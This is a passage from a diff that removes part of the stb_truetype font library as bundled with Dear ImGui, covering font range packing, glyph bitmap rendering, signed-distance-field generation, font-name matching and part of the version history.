1)/2 pixels in - // oversampled space. We want to shift in the opposite - // direction to counter this. - return (float)-(oversample - 1) / (2.0f * (float)oversample); -} - -// rects array must be big enough to accommodate all characters in the given ranges -STBTT_DEF int stbtt_PackFontRangesGatherRects(stbtt_pack_context *spc, const stbtt_fontinfo *info, stbtt_pack_range *ranges, int num_ranges, stbrp_rect *rects) -{ - int i,j,k; - - k=0; - for (i=0; i < num_ranges; ++i) { - float fh = ranges[i].font_size; - float scale = fh > 0 ? stbtt_ScaleForPixelHeight(info, fh) : stbtt_ScaleForMappingEmToPixels(info, -fh); - ranges[i].h_oversample = (unsigned char) spc->h_oversample; - ranges[i].v_oversample = (unsigned char) spc->v_oversample; - for (j=0; j < ranges[i].num_chars; ++j) { - int x0,y0,x1,y1; - int codepoint = ranges[i].array_of_unicode_codepoints == NULL ? ranges[i].first_unicode_codepoint_in_range + j : ranges[i].array_of_unicode_codepoints[j]; - int glyph = stbtt_FindGlyphIndex(info, codepoint); - if (glyph == 0 && spc->skip_missing) { - rects[k].w = rects[k].h = 0; - } else { - stbtt_GetGlyphBitmapBoxSubpixel(info,glyph, - scale * spc->h_oversample, - scale * spc->v_oversample, - 0,0, - &x0,&y0,&x1,&y1); - rects[k].w = (stbrp_coord) (x1-x0 + spc->padding + spc->h_oversample-1); - rects[k].h = (stbrp_coord) (y1-y0 + spc->padding + spc->v_oversample-1); - } - ++k; - } - } - - return k; -} - -STBTT_DEF void stbtt_MakeGlyphBitmapSubpixelPrefilter(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int prefilter_x, int prefilter_y, float *sub_x, float *sub_y, int glyph) -{ - stbtt_MakeGlyphBitmapSubpixel(info, - output, - out_w - (prefilter_x - 1), - out_h - (prefilter_y - 1), - out_stride, - scale_x, - scale_y, - shift_x, - shift_y, - glyph); - - if (prefilter_x > 1) - stbtt__h_prefilter(output, out_w, out_h, out_stride, prefilter_x); - - if (prefilter_y > 1) - stbtt__v_prefilter(output, out_w, out_h, out_stride, prefilter_y); - - *sub_x = stbtt__oversample_shift(prefilter_x); - *sub_y = stbtt__oversample_shift(prefilter_y); -} - -// rects array must be big enough to accommodate all characters in the given ranges -STBTT_DEF int stbtt_PackFontRangesRenderIntoRects(stbtt_pack_context *spc, const stbtt_fontinfo *info, stbtt_pack_range *ranges, int num_ranges, stbrp_rect *rects) -{ - int i,j,k, return_value = 1; - - // save current values - int old_h_over = spc->h_oversample; - int old_v_over = spc->v_oversample; - - k = 0; - for (i=0; i < num_ranges; ++i) { - float fh = ranges[i].font_size; - float scale = fh > 0 ? stbtt_ScaleForPixelHeight(info, fh) : stbtt_ScaleForMappingEmToPixels(info, -fh); - float recip_h,recip_v,sub_x,sub_y; - spc->h_oversample = ranges[i].h_oversample; - spc->v_oversample = ranges[i].v_oversample; - recip_h = 1.0f / spc->h_oversample; - recip_v = 1.0f / spc->v_oversample; - sub_x = stbtt__oversample_shift(spc->h_oversample); - sub_y = stbtt__oversample_shift(spc->v_oversample); - for (j=0; j < ranges[i].num_chars; ++j) { - stbrp_rect *r = &rects[k]; - if (r->was_packed && r->w != 0 && r->h != 0) { - stbtt_packedchar *bc = &ranges[i].chardata_for_range[j]; - int advance, lsb, x0,y0,x1,y1; - int codepoint = ranges[i].array_of_unicode_codepoints == NULL ? ranges[i].first_unicode_codepoint_in_range + j : ranges[i].array_of_unicode_codepoints[j]; - int glyph = stbtt_FindGlyphIndex(info, codepoint); - stbrp_coord pad = (stbrp_coord) spc->padding; - - // pad on left and top - r->x += pad; - r->y += pad; - r->w -= pad; - r->h -= pad; - stbtt_GetGlyphHMetrics(info, glyph, &advance, &lsb); - stbtt_GetGlyphBitmapBox(info, glyph, - scale * spc->h_oversample, - scale * spc->v_oversample, - &x0,&y0,&x1,&y1); - stbtt_MakeGlyphBitmapSubpixel(info, - spc->pixels + r->x + r->y*spc->stride_in_bytes, - r->w - spc->h_oversample+1, - r->h - spc->v_oversample+1, - spc->stride_in_bytes, - scale * spc->h_oversample, - scale * spc->v_oversample, - 0,0, - glyph); - - if (spc->h_oversample > 1) - stbtt__h_prefilter(spc->pixels + r->x + r->y*spc->stride_in_bytes, - r->w, r->h, spc->stride_in_bytes, - spc->h_oversample); - - if (spc->v_oversample > 1) - stbtt__v_prefilter(spc->pixels + r->x + r->y*spc->stride_in_bytes, - r->w, r->h, spc->stride_in_bytes, - spc->v_oversample); - - bc->x0 = (stbtt_int16) r->x; - bc->y0 = (stbtt_int16) r->y; - bc->x1 = (stbtt_int16) (r->x + r->w); - bc->y1 = (stbtt_int16) (r->y + r->h); - bc->xadvance = scale * advance; - bc->xoff = (float) x0 * recip_h + sub_x; - bc->yoff = (float) y0 * recip_v + sub_y; - bc->xoff2 = (x0 + r->w) * recip_h + sub_x; - bc->yoff2 = (y0 + r->h) * recip_v + sub_y; - } else { - return_value = 0; // if any fail, report failure - } - - ++k; - } - } - - // restore original values - spc->h_oversample = old_h_over; - spc->v_oversample = old_v_over; - - return return_value; -} - -STBTT_DEF void stbtt_PackFontRangesPackRects(stbtt_pack_context *spc, stbrp_rect *rects, int num_rects) -{ - stbrp_pack_rects((stbrp_context *) spc->pack_info, rects, num_rects); -} - -STBTT_DEF int stbtt_PackFontRanges(stbtt_pack_context *spc, const unsigned char *fontdata, int font_index, stbtt_pack_range *ranges, int num_ranges) -{ - stbtt_fontinfo info; - int i,j,n, return_value; // [DEAR IMGUI] removed = 1 - //stbrp_context *context = (stbrp_context *) spc->pack_info; - stbrp_rect *rects; - - // flag all characters as NOT packed - for (i=0; i < num_ranges; ++i) - for (j=0; j < ranges[i].num_chars; ++j) - ranges[i].chardata_for_range[j].x0 = - ranges[i].chardata_for_range[j].y0 = - ranges[i].chardata_for_range[j].x1 = - ranges[i].chardata_for_range[j].y1 = 0; - - n = 0; - for (i=0; i < num_ranges; ++i) - n += ranges[i].num_chars; - - rects = (stbrp_rect *) STBTT_malloc(sizeof(*rects) * n, spc->user_allocator_context); - if (rects == NULL) - return 0; - - info.userdata = spc->user_allocator_context; - stbtt_InitFont(&info, fontdata, stbtt_GetFontOffsetForIndex(fontdata,font_index)); - - n = stbtt_PackFontRangesGatherRects(spc, &info, ranges, num_ranges, rects); - - stbtt_PackFontRangesPackRects(spc, rects, n); - - return_value = stbtt_PackFontRangesRenderIntoRects(spc, &info, ranges, num_ranges, rects); - - STBTT_free(rects, spc->user_allocator_context); - return return_value; -} - -STBTT_DEF int stbtt_PackFontRange(stbtt_pack_context *spc, const unsigned char *fontdata, int font_index, float font_size, - int first_unicode_codepoint_in_range, int num_chars_in_range, stbtt_packedchar *chardata_for_range) -{ - stbtt_pack_range range; - range.first_unicode_codepoint_in_range = first_unicode_codepoint_in_range; - range.array_of_unicode_codepoints = NULL; - range.num_chars = num_chars_in_range; - range.chardata_for_range = chardata_for_range; - range.font_size = font_size; - return stbtt_PackFontRanges(spc, fontdata, font_index, &range, 1); -} - -STBTT_DEF void stbtt_GetScaledFontVMetrics(const unsigned char *fontdata, int index, float size, float *ascent, float *descent, float *lineGap) -{ - int i_ascent, i_descent, i_lineGap; - float scale; - stbtt_fontinfo info; - stbtt_InitFont(&info, fontdata, stbtt_GetFontOffsetForIndex(fontdata, index)); - scale = size > 0 ? stbtt_ScaleForPixelHeight(&info, size) : stbtt_ScaleForMappingEmToPixels(&info, -size); - stbtt_GetFontVMetrics(&info, &i_ascent, &i_descent, &i_lineGap); - *ascent = (float) i_ascent * scale; - *descent = (float) i_descent * scale; - *lineGap = (float) i_lineGap * scale; -} - -STBTT_DEF void stbtt_GetPackedQuad(const stbtt_packedchar *chardata, int pw, int ph, int char_index, float *xpos, float *ypos, stbtt_aligned_quad *q, int align_to_integer) -{ - float ipw = 1.0f / pw, iph = 1.0f / ph; - const stbtt_packedchar *b = chardata + char_index; - - if (align_to_integer) { - float x = (float) STBTT_ifloor((*xpos + b->xoff) + 0.5f); - float y = (float) STBTT_ifloor((*ypos + b->yoff) + 0.5f); - q->x0 = x; - q->y0 = y; - q->x1 = x + b->xoff2 - b->xoff; - q->y1 = y + b->yoff2 - b->yoff; - } else { - q->x0 = *xpos + b->xoff; - q->y0 = *ypos + b->yoff; - q->x1 = *xpos + b->xoff2; - q->y1 = *ypos + b->yoff2; - } - - q->s0 = b->x0 * ipw; - q->t0 = b->y0 * iph; - q->s1 = b->x1 * ipw; - q->t1 = b->y1 * iph; - - *xpos += b->xadvance; -} - -////////////////////////////////////////////////////////////////////////////// -// -// sdf computation -// - -#define STBTT_min(a,b) ((a) < (b) ? (a) : (b)) -#define STBTT_max(a,b) ((a) < (b) ? (b) : (a)) - -static int stbtt__ray_intersect_bezier(float orig[2], float ray[2], float q0[2], float q1[2], float q2[2], float hits[2][2]) -{ - float q0perp = q0[1]*ray[0] - q0[0]*ray[1]; - float q1perp = q1[1]*ray[0] - q1[0]*ray[1]; - float q2perp = q2[1]*ray[0] - q2[0]*ray[1]; - float roperp = orig[1]*ray[0] - orig[0]*ray[1]; - - float a = q0perp - 2*q1perp + q2perp; - float b = q1perp - q0perp; - float c = q0perp - roperp; - - float s0 = 0., s1 = 0.; - int num_s = 0; - - if (a != 0.0) { - float discr = b*b - a*c; - if (discr > 0.0) { - float rcpna = -1 / a; - float d = (float) STBTT_sqrt(discr); - s0 = (b+d) * rcpna; - s1 = (b-d) * rcpna; - if (s0 >= 0.0 && s0 <= 1.0) - num_s = 1; - if (d > 0.0 && s1 >= 0.0 && s1 <= 1.0) { - if (num_s == 0) s0 = s1; - ++num_s; - } - } - } else { - // 2*b*s + c = 0 - // s = -c / (2*b) - s0 = c / (-2 * b); - if (s0 >= 0.0 && s0 <= 1.0) - num_s = 1; - } - - if (num_s == 0) - return 0; - else { - float rcp_len2 = 1 / (ray[0]*ray[0] + ray[1]*ray[1]); - float rayn_x = ray[0] * rcp_len2, rayn_y = ray[1] * rcp_len2; - - float q0d = q0[0]*rayn_x + q0[1]*rayn_y; - float q1d = q1[0]*rayn_x + q1[1]*rayn_y; - float q2d = q2[0]*rayn_x + q2[1]*rayn_y; - float rod = orig[0]*rayn_x + orig[1]*rayn_y; - - float q10d = q1d - q0d; - float q20d = q2d - q0d; - float q0rd = q0d - rod; - - hits[0][0] = q0rd + s0*(2.0f - 2.0f*s0)*q10d + s0*s0*q20d; - hits[0][1] = a*s0+b; - - if (num_s > 1) { - hits[1][0] = q0rd + s1*(2.0f - 2.0f*s1)*q10d + s1*s1*q20d; - hits[1][1] = a*s1+b; - return 2; - } else { - return 1; - } - } -} - -static int equal(float *a, float *b) -{ - return (a[0] == b[0] && a[1] == b[1]); -} - -static int stbtt__compute_crossings_x(float x, float y, int nverts, stbtt_vertex *verts) -{ - int i; - float orig[2], ray[2] = { 1, 0 }; - float y_frac; - int winding = 0; - - orig[0] = x; - //orig[1] = y; // [DEAR IMGUI] commented double assignment - - // make sure y never passes through a vertex of the shape - y_frac = (float) STBTT_fmod(y, 1.0f); - if (y_frac < 0.01f) - y += 0.01f; - else if (y_frac > 0.99f) - y -= 0.01f; - orig[1] = y; - - // test a ray from (-infinity,y) to (x,y) - for (i=0; i < nverts; ++i) { - if (verts[i].type == STBTT_vline) { - int x0 = (int) verts[i-1].x, y0 = (int) verts[i-1].y; - int x1 = (int) verts[i ].x, y1 = (int) verts[i ].y; - if (y > STBTT_min(y0,y1) && y < STBTT_max(y0,y1) && x > STBTT_min(x0,x1)) { - float x_inter = (y - y0) / (y1 - y0) * (x1-x0) + x0; - if (x_inter < x) - winding += (y0 < y1) ? 1 : -1; - } - } - if (verts[i].type == STBTT_vcurve) { - int x0 = (int) verts[i-1].x , y0 = (int) verts[i-1].y ; - int x1 = (int) verts[i ].cx, y1 = (int) verts[i ].cy; - int x2 = (int) verts[i ].x , y2 = (int) verts[i ].y ; - int ax = STBTT_min(x0,STBTT_min(x1,x2)), ay = STBTT_min(y0,STBTT_min(y1,y2)); - int by = STBTT_max(y0,STBTT_max(y1,y2)); - if (y > ay && y < by && x > ax) { - float q0[2],q1[2],q2[2]; - float hits[2][2]; - q0[0] = (float)x0; - q0[1] = (float)y0; - q1[0] = (float)x1; - q1[1] = (float)y1; - q2[0] = (float)x2; - q2[1] = (float)y2; - if (equal(q0,q1) || equal(q1,q2)) { - x0 = (int)verts[i-1].x; - y0 = (int)verts[i-1].y; - x1 = (int)verts[i ].x; - y1 = (int)verts[i ].y; - if (y > STBTT_min(y0,y1) && y < STBTT_max(y0,y1) && x > STBTT_min(x0,x1)) { - float x_inter = (y - y0) / (y1 - y0) * (x1-x0) + x0; - if (x_inter < x) - winding += (y0 < y1) ? 1 : -1; - } - } else { - int num_hits = stbtt__ray_intersect_bezier(orig, ray, q0, q1, q2, hits); - if (num_hits >= 1) - if (hits[0][0] < 0) - winding += (hits[0][1] < 0 ? -1 : 1); - if (num_hits >= 2) - if (hits[1][0] < 0) - winding += (hits[1][1] < 0 ? -1 : 1); - } - } - } - } - return winding; -} - -static float stbtt__cuberoot( float x ) -{ - if (x<0) - return -(float) STBTT_pow(-x,1.0f/3.0f); - else - return (float) STBTT_pow( x,1.0f/3.0f); -} - -// x^3 + c*x^2 + b*x + a = 0 -static int stbtt__solve_cubic(float a, float b, float c, float* r) -{ - float s = -a / 3; - float p = b - a*a / 3; - float q = a * (2*a*a - 9*b) / 27 + c; - float p3 = p*p*p; - float d = q*q + 4*p3 / 27; - if (d >= 0) { - float z = (float) STBTT_sqrt(d); - float u = (-q + z) / 2; - float v = (-q - z) / 2; - u = stbtt__cuberoot(u); - v = stbtt__cuberoot(v); - r[0] = s + u + v; - return 1; - } else { - float u = (float) STBTT_sqrt(-p/3); - float v = (float) STBTT_acos(-STBTT_sqrt(-27/p3) * q / 2) / 3; // p3 must be negative, since d is negative - float m = (float) STBTT_cos(v); - float n = (float) STBTT_cos(v-3.141592/2)*1.732050808f; - r[0] = s + u * 2 * m; - r[1] = s - u * (m + n); - r[2] = s - u * (m - n); - - //STBTT_assert( STBTT_fabs(((r[0]+a)*r[0]+b)*r[0]+c) < 0.05f); // these asserts may not be safe at all scales, though they're in bezier t parameter units so maybe? - //STBTT_assert( STBTT_fabs(((r[1]+a)*r[1]+b)*r[1]+c) < 0.05f); - //STBTT_assert( STBTT_fabs(((r[2]+a)*r[2]+b)*r[2]+c) < 0.05f); - return 3; - } -} - -STBTT_DEF unsigned char * stbtt_GetGlyphSDF(const stbtt_fontinfo *info, float scale, int glyph, int padding, unsigned char onedge_value, float pixel_dist_scale, int *width, int *height, int *xoff, int *yoff) -{ - float scale_x = scale, scale_y = scale; - int ix0,iy0,ix1,iy1; - int w,h; - unsigned char *data; - - // if one scale is 0, use same scale for both - if (scale_x == 0) scale_x = scale_y; - if (scale_y == 0) { - if (scale_x == 0) return NULL; // if both scales are 0, return NULL - scale_y = scale_x; - } - - stbtt_GetGlyphBitmapBoxSubpixel(info, glyph, scale, scale, 0.0f,0.0f, &ix0,&iy0,&ix1,&iy1); - - // if empty, return NULL - if (ix0 == ix1 || iy0 == iy1) - return NULL; - - ix0 -= padding; - iy0 -= padding; - ix1 += padding; - iy1 += padding; - - w = (ix1 - ix0); - h = (iy1 - iy0); - - if (width ) *width = w; - if (height) *height = h; - if (xoff ) *xoff = ix0; - if (yoff ) *yoff = iy0; - - // invert for y-downwards bitmaps - scale_y = -scale_y; - - { - int x,y,i,j; - float *precompute; - stbtt_vertex *verts; - int num_verts = stbtt_GetGlyphShape(info, glyph, &verts); - data = (unsigned char *) STBTT_malloc(w * h, info->userdata); - precompute = (float *) STBTT_malloc(num_verts * sizeof(float), info->userdata); - - for (i=0,j=num_verts-1; i < num_verts; j=i++) { - if (verts[i].type == STBTT_vline) { - float x0 = verts[i].x*scale_x, y0 = verts[i].y*scale_y; - float x1 = verts[j].x*scale_x, y1 = verts[j].y*scale_y; - float dist = (float) STBTT_sqrt((x1-x0)*(x1-x0) + (y1-y0)*(y1-y0)); - precompute[i] = (dist == 0) ? 0.0f : 1.0f / dist; - } else if (verts[i].type == STBTT_vcurve) { - float x2 = verts[j].x *scale_x, y2 = verts[j].y *scale_y; - float x1 = verts[i].cx*scale_x, y1 = verts[i].cy*scale_y; - float x0 = verts[i].x *scale_x, y0 = verts[i].y *scale_y; - float bx = x0 - 2*x1 + x2, by = y0 - 2*y1 + y2; - float len2 = bx*bx + by*by; - if (len2 != 0.0f) - precompute[i] = 1.0f / (bx*bx + by*by); - else - precompute[i] = 0.0f; - } else - precompute[i] = 0.0f; - } - - for (y=iy0; y < iy1; ++y) { - for (x=ix0; x < ix1; ++x) { - float val; - float min_dist = 999999.0f; - float sx = (float) x + 0.5f; - float sy = (float) y + 0.5f; - float x_gspace = (sx / scale_x); - float y_gspace = (sy / scale_y); - - int winding = stbtt__compute_crossings_x(x_gspace, y_gspace, num_verts, verts); // @OPTIMIZE: this could just be a rasterization, but needs to be line vs. non-tesselated curves so a new path - - for (i=0; i < num_verts; ++i) { - float x0 = verts[i].x*scale_x, y0 = verts[i].y*scale_y; - - // check against every point here rather than inside line/curve primitives -- @TODO: wrong if multiple 'moves' in a row produce a garbage point, and given culling, probably more efficient to do within line/curve - float dist2 = (x0-sx)*(x0-sx) + (y0-sy)*(y0-sy); - if (dist2 < min_dist*min_dist) - min_dist = (float) STBTT_sqrt(dist2); - - if (verts[i].type == STBTT_vline) { - float x1 = verts[i-1].x*scale_x, y1 = verts[i-1].y*scale_y; - - // coarse culling against bbox - //if (sx > STBTT_min(x0,x1)-min_dist && sx < STBTT_max(x0,x1)+min_dist && - // sy > STBTT_min(y0,y1)-min_dist && sy < STBTT_max(y0,y1)+min_dist) - float dist = (float) STBTT_fabs((x1-x0)*(y0-sy) - (y1-y0)*(x0-sx)) * precompute[i]; - STBTT_assert(i != 0); - if (dist < min_dist) { - // check position along line - // x' = x0 + t*(x1-x0), y' = y0 + t*(y1-y0) - // minimize (x'-sx)*(x'-sx)+(y'-sy)*(y'-sy) - float dx = x1-x0, dy = y1-y0; - float px = x0-sx, py = y0-sy; - // minimize (px+t*dx)^2 + (py+t*dy)^2 = px*px + 2*px*dx*t + t^2*dx*dx + py*py + 2*py*dy*t + t^2*dy*dy - // derivative: 2*px*dx + 2*py*dy + (2*dx*dx+2*dy*dy)*t, set to 0 and solve - float t = -(px*dx + py*dy) / (dx*dx + dy*dy); - if (t >= 0.0f && t <= 1.0f) - min_dist = dist; - } - } else if (verts[i].type == STBTT_vcurve) { - float x2 = verts[i-1].x *scale_x, y2 = verts[i-1].y *scale_y; - float x1 = verts[i ].cx*scale_x, y1 = verts[i ].cy*scale_y; - float box_x0 = STBTT_min(STBTT_min(x0,x1),x2); - float box_y0 = STBTT_min(STBTT_min(y0,y1),y2); - float box_x1 = STBTT_max(STBTT_max(x0,x1),x2); - float box_y1 = STBTT_max(STBTT_max(y0,y1),y2); - // coarse culling against bbox to avoid computing cubic unnecessarily - if (sx > box_x0-min_dist && sx < box_x1+min_dist && sy > box_y0-min_dist && sy < box_y1+min_dist) { - int num=0; - float ax = x1-x0, ay = y1-y0; - float bx = x0 - 2*x1 + x2, by = y0 - 2*y1 + y2; - float mx = x0 - sx, my = y0 - sy; - float res[3],px,py,t,it; - float a_inv = precompute[i]; - if (a_inv == 0.0) { // if a_inv is 0, it's 2nd degree so use quadratic formula - float a = 3*(ax*bx + ay*by); - float b = 2*(ax*ax + ay*ay) + (mx*bx+my*by); - float c = mx*ax+my*ay; - if (a == 0.0) { // if a is 0, it's linear - if (b != 0.0) { - res[num++] = -c/b; - } - } else { - float discriminant = b*b - 4*a*c; - if (discriminant < 0) - num = 0; - else { - float root = (float) STBTT_sqrt(discriminant); - res[0] = (-b - root)/(2*a); - res[1] = (-b + root)/(2*a); - num = 2; // don't bother distinguishing 1-solution case, as code below will still work - } - } - } else { - float b = 3*(ax*bx + ay*by) * a_inv; // could precompute this as it doesn't depend on sample point - float c = (2*(ax*ax + ay*ay) + (mx*bx+my*by)) * a_inv; - float d = (mx*ax+my*ay) * a_inv; - num = stbtt__solve_cubic(b, c, d, res); - } - if (num >= 1 && res[0] >= 0.0f && res[0] <= 1.0f) { - t = res[0], it = 1.0f - t; - px = it*it*x0 + 2*t*it*x1 + t*t*x2; - py = it*it*y0 + 2*t*it*y1 + t*t*y2; - dist2 = (px-sx)*(px-sx) + (py-sy)*(py-sy); - if (dist2 < min_dist * min_dist) - min_dist = (float) STBTT_sqrt(dist2); - } - if (num >= 2 && res[1] >= 0.0f && res[1] <= 1.0f) { - t = res[1], it = 1.0f - t; - px = it*it*x0 + 2*t*it*x1 + t*t*x2; - py = it*it*y0 + 2*t*it*y1 + t*t*y2; - dist2 = (px-sx)*(px-sx) + (py-sy)*(py-sy); - if (dist2 < min_dist * min_dist) - min_dist = (float) STBTT_sqrt(dist2); - } - if (num >= 3 && res[2] >= 0.0f && res[2] <= 1.0f) { - t = res[2], it = 1.0f - t; - px = it*it*x0 + 2*t*it*x1 + t*t*x2; - py = it*it*y0 + 2*t*it*y1 + t*t*y2; - dist2 = (px-sx)*(px-sx) + (py-sy)*(py-sy); - if (dist2 < min_dist * min_dist) - min_dist = (float) STBTT_sqrt(dist2); - } - } - } - } - if (winding == 0) - min_dist = -min_dist; // if outside the shape, value is negative - val = onedge_value + pixel_dist_scale * min_dist; - if (val < 0) - val = 0; - else if (val > 255) - val = 255; - data[(y-iy0)*w+(x-ix0)] = (unsigned char) val; - } - } - STBTT_free(precompute, info->userdata); - STBTT_free(verts, info->userdata); - } - return data; -} - -STBTT_DEF unsigned char * stbtt_GetCodepointSDF(const stbtt_fontinfo *info, float scale, int codepoint, int padding, unsigned char onedge_value, float pixel_dist_scale, int *width, int *height, int *xoff, int *yoff) -{ - return stbtt_GetGlyphSDF(info, scale, stbtt_FindGlyphIndex(info, codepoint), padding, onedge_value, pixel_dist_scale, width, height, xoff, yoff); -} - -STBTT_DEF void stbtt_FreeSDF(unsigned char *bitmap, void *userdata) -{ - STBTT_free(bitmap, userdata); -} - -////////////////////////////////////////////////////////////////////////////// -// -// font name matching -- recommended not to use this -// - -// check if a utf8 string contains a prefix which is the utf16 string; if so return length of matching utf8 string -static stbtt_int32 stbtt__CompareUTF8toUTF16_bigendian_prefix(stbtt_uint8 *s1, stbtt_int32 len1, stbtt_uint8 *s2, stbtt_int32 len2) -{ - stbtt_int32 i=0; - - // convert utf16 to utf8 and compare the results while converting - while (len2) { - stbtt_uint16 ch = s2[0]*256 + s2[1]; - if (ch < 0x80) { - if (i >= len1) return -1; - if (s1[i++] != ch) return -1; - } else if (ch < 0x800) { - if (i+1 >= len1) return -1; - if (s1[i++] != 0xc0 + (ch >> 6)) return -1; - if (s1[i++] != 0x80 + (ch & 0x3f)) return -1; - } else if (ch >= 0xd800 && ch < 0xdc00) { - stbtt_uint32 c; - stbtt_uint16 ch2 = s2[2]*256 + s2[3]; - if (i+3 >= len1) return -1; - c = ((ch - 0xd800) << 10) + (ch2 - 0xdc00) + 0x10000; - if (s1[i++] != 0xf0 + (c >> 18)) return -1; - if (s1[i++] != 0x80 + ((c >> 12) & 0x3f)) return -1; - if (s1[i++] != 0x80 + ((c >> 6) & 0x3f)) return -1; - if (s1[i++] != 0x80 + ((c ) & 0x3f)) return -1; - s2 += 2; // plus another 2 below - len2 -= 2; - } else if (ch >= 0xdc00 && ch < 0xe000) { - return -1; - } else { - if (i+2 >= len1) return -1; - if (s1[i++] != 0xe0 + (ch >> 12)) return -1; - if (s1[i++] != 0x80 + ((ch >> 6) & 0x3f)) return -1; - if (s1[i++] != 0x80 + ((ch ) & 0x3f)) return -1; - } - s2 += 2; - len2 -= 2; - } - return i; -} - -static int stbtt_CompareUTF8toUTF16_bigendian_internal(char *s1, int len1, char *s2, int len2) -{ - return len1 == stbtt__CompareUTF8toUTF16_bigendian_prefix((stbtt_uint8*) s1, len1, (stbtt_uint8*) s2, len2); -} - -// returns results in whatever encoding you request... but note that 2-byte encodings -// will be BIG-ENDIAN... use stbtt_CompareUTF8toUTF16_bigendian() to compare -STBTT_DEF const char *stbtt_GetFontNameString(const stbtt_fontinfo *font, int *length, int platformID, int encodingID, int languageID, int nameID) -{ - stbtt_int32 i,count,stringOffset; - stbtt_uint8 *fc = font->data; - stbtt_uint32 offset = font->fontstart; - stbtt_uint32 nm = stbtt__find_table(fc, offset, "name"); - if (!nm) return NULL; - - count = ttUSHORT(fc+nm+2); - stringOffset = nm + ttUSHORT(fc+nm+4); - for (i=0; i < count; ++i) { - stbtt_uint32 loc = nm + 6 + 12 * i; - if (platformID == ttUSHORT(fc+loc+0) && encodingID == ttUSHORT(fc+loc+2) - && languageID == ttUSHORT(fc+loc+4) && nameID == ttUSHORT(fc+loc+6)) { - *length = ttUSHORT(fc+loc+8); - return (const char *) (fc+stringOffset+ttUSHORT(fc+loc+10)); - } - } - return NULL; -} - -static int stbtt__matchpair(stbtt_uint8 *fc, stbtt_uint32 nm, stbtt_uint8 *name, stbtt_int32 nlen, stbtt_int32 target_id, stbtt_int32 next_id) -{ - stbtt_int32 i; - stbtt_int32 count = ttUSHORT(fc+nm+2); - stbtt_int32 stringOffset = nm + ttUSHORT(fc+nm+4); - - for (i=0; i < count; ++i) { - stbtt_uint32 loc = nm + 6 + 12 * i; - stbtt_int32 id = ttUSHORT(fc+loc+6); - if (id == target_id) { - // find the encoding - stbtt_int32 platform = ttUSHORT(fc+loc+0), encoding = ttUSHORT(fc+loc+2), language = ttUSHORT(fc+loc+4); - - // is this a Unicode encoding? - if (platform == 0 || (platform == 3 && encoding == 1) || (platform == 3 && encoding == 10)) { - stbtt_int32 slen = ttUSHORT(fc+loc+8); - stbtt_int32 off = ttUSHORT(fc+loc+10); - - // check if there's a prefix match - stbtt_int32 matchlen = stbtt__CompareUTF8toUTF16_bigendian_prefix(name, nlen, fc+stringOffset+off,slen); - if (matchlen >= 0) { - // check for target_id+1 immediately following, with same encoding & language - if (i+1 < count && ttUSHORT(fc+loc+12+6) == next_id && ttUSHORT(fc+loc+12) == platform && ttUSHORT(fc+loc+12+2) == encoding && ttUSHORT(fc+loc+12+4) == language) { - slen = ttUSHORT(fc+loc+12+8); - off = ttUSHORT(fc+loc+12+10); - if (slen == 0) { - if (matchlen == nlen) - return 1; - } else if (matchlen < nlen && name[matchlen] == ' ') { - ++matchlen; - if (stbtt_CompareUTF8toUTF16_bigendian_internal((char*) (name+matchlen), nlen-matchlen, (char*)(fc+stringOffset+off),slen)) - return 1; - } - } else { - // if nothing immediately following - if (matchlen == nlen) - return 1; - } - } - } - - // @TODO handle other encodings - } - } - return 0; -} - -static int stbtt__matches(stbtt_uint8 *fc, stbtt_uint32 offset, stbtt_uint8 *name, stbtt_int32 flags) -{ - stbtt_int32 nlen = (stbtt_int32) STBTT_strlen((char *) name); - stbtt_uint32 nm,hd; - if (!stbtt__isfont(fc+offset)) return 0; - - // check italics/bold/underline flags in macStyle... - if (flags) { - hd = stbtt__find_table(fc, offset, "head"); - if ((ttUSHORT(fc+hd+44) & 7) != (flags & 7)) return 0; - } - - nm = stbtt__find_table(fc, offset, "name"); - if (!nm) return 0; - - if (flags) { - // if we checked the macStyle flags, then just check the family and ignore the subfamily - if (stbtt__matchpair(fc, nm, name, nlen, 16, -1)) return 1; - if (stbtt__matchpair(fc, nm, name, nlen, 1, -1)) return 1; - if (stbtt__matchpair(fc, nm, name, nlen, 3, -1)) return 1; - } else { - if (stbtt__matchpair(fc, nm, name, nlen, 16, 17)) return 1; - if (stbtt__matchpair(fc, nm, name, nlen, 1, 2)) return 1; - if (stbtt__matchpair(fc, nm, name, nlen, 3, -1)) return 1; - } - - return 0; -} - -static int stbtt_FindMatchingFont_internal(unsigned char *font_collection, char *name_utf8, stbtt_int32 flags) -{ - stbtt_int32 i; - for (i=0;;++i) { - stbtt_int32 off = stbtt_GetFontOffsetForIndex(font_collection, i); - if (off < 0) return off; - if (stbtt__matches((stbtt_uint8 *) font_collection, off, (stbtt_uint8*) name_utf8, flags)) - return off; - } -} - -#if defined(__GNUC__) || defined(__clang__) -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wcast-qual" -#endif - -STBTT_DEF int stbtt_BakeFontBitmap(const unsigned char *data, int offset, - float pixel_height, unsigned char *pixels, int pw, int ph, - int first_char, int num_chars, stbtt_bakedchar *chardata) -{ - return stbtt_BakeFontBitmap_internal((unsigned char *) data, offset, pixel_height, pixels, pw, ph, first_char, num_chars, chardata); -} - -STBTT_DEF int stbtt_GetFontOffsetForIndex(const unsigned char *data, int index) -{ - return stbtt_GetFontOffsetForIndex_internal((unsigned char *) data, index); -} - -STBTT_DEF int stbtt_GetNumberOfFonts(const unsigned char *data) -{ - return stbtt_GetNumberOfFonts_internal((unsigned char *) data); -} - -STBTT_DEF int stbtt_InitFont(stbtt_fontinfo *info, const unsigned char *data, int offset) -{ - return stbtt_InitFont_internal(info, (unsigned char *) data, offset); -} - -STBTT_DEF int stbtt_FindMatchingFont(const unsigned char *fontdata, const char *name, int flags) -{ - return stbtt_FindMatchingFont_internal((unsigned char *) fontdata, (char *) name, flags); -} - -STBTT_DEF int stbtt_CompareUTF8toUTF16_bigendian(const char *s1, int len1, const char *s2, int len2) -{ - return stbtt_CompareUTF8toUTF16_bigendian_internal((char *) s1, len1, (char *) s2, len2); -} - -#if defined(__GNUC__) || defined(__clang__) -#pragma GCC diagnostic pop -#endif - -#endif // STB_TRUETYPE_IMPLEMENTATION - - -// FULL VERSION HISTORY -// -// 1.19 (2018-02-11) OpenType GPOS kerning (horizontal only), STBTT_fmod -// 1.18 (2018-01-29) add missing function -// 1.17 (2017-07-23) make more arguments const; doc fix -// 1.16 (2017-07-12) SDF support -// 1.15 (2017-03-03) make more arguments const -// 1.14 (2017-01-16) num-fonts-in-TTC function -// 